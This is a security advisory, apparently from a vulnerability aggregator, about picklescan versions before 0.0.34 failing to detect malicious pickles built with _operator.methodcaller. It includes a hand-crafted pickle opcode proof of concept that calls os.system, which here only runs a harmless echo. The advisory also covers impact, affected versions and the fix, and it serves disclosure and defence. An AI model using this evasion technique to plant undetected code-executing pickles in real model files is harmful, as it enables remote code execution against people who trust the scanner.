Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
- Code execution
- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-502.
Summary
### Summary Picklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files. ### Details The attack payload executes in the following steps: - First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method - Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution. ### PoC ``` import pickle import pickletools opcode2 = b'''cbuiltins __import__ (Vos tRp0 0c_operator methodcaller (Vsystem Vecho "pwned by _operator.methodcaller" tR(g0 tR.''' pickletools.dis(opcode2) pickle.loads(opcode2) ``` This PoC can't be easily create by pickle.dumps, so it was manually built. ### Impact Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Report by Pinji Chen ([email protected]) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu ([email protected]).
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | picklescan (PyPI) | before 0.0.34 | 0.0.34 | Patch available | GHSA-955r-x9j8-7rhh |
- picklescan (PyPI) Vendor— Affected before 0.0.34 Fixed in 0.0.34 Patch available GHSA-955r-x9j8-7rhh
Remediation
- Fix · GHSA-955r-x9j8-7rhh picklescan (PyPI) Fixed in 0.0.34 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-955r-x9j8-7rhh
References
Sources
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